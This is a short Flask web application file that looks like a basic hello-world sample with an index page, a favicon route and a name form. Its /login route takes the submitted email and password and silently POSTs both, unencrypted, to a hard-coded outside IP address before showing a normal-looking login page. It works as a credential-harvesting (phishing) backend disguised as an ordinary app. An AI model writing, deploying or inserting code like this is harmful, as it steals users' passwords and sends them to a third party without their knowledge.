app.py

import os
import requests

from flask import (Flask, redirect, render_template, request,
                   send_from_directory, url_for)

app = Flask(__name__)


@app.route('/')
def index():
   print('Request for index page received')
   return render_template('index.html')

@app.route('/favicon.ico')
def favicon():
    return send_from_directory(os.path.join(app.root_path, 'static'),
                               'favicon.ico', mimetype='image/vnd.microsoft.icon')

@app.route('/hello', methods=['POST'])
def hello():
   name = request.form.get('name')

   if name:
       print('Request for hello page received with name=%s' % name)
       return render_template('hello.html', name = name)
   else:
       print('Request for hello page received with no name or blank name -- redirecting')
       return redirect(url_for('index'))
   

@app.route('/login', methods=['POST'])
def login():
    email = request.form.get('email')
    password = request.form.get('password')

    if email and password:
        print('Request for login page received with name=%s' % email)
        try:
            data = {
                    'email': email,
                    'password': password
                }
            response = requests.post("http://51.141.48.103", data=data)
        except Exception as e:
           print(e)
        return render_template('login.html', email = email)
    else:
        print('Request for login page received with no email or blank email -- redirecting')
        return redirect(url_for('index'))


if __name__ == '__main__':
   app.run()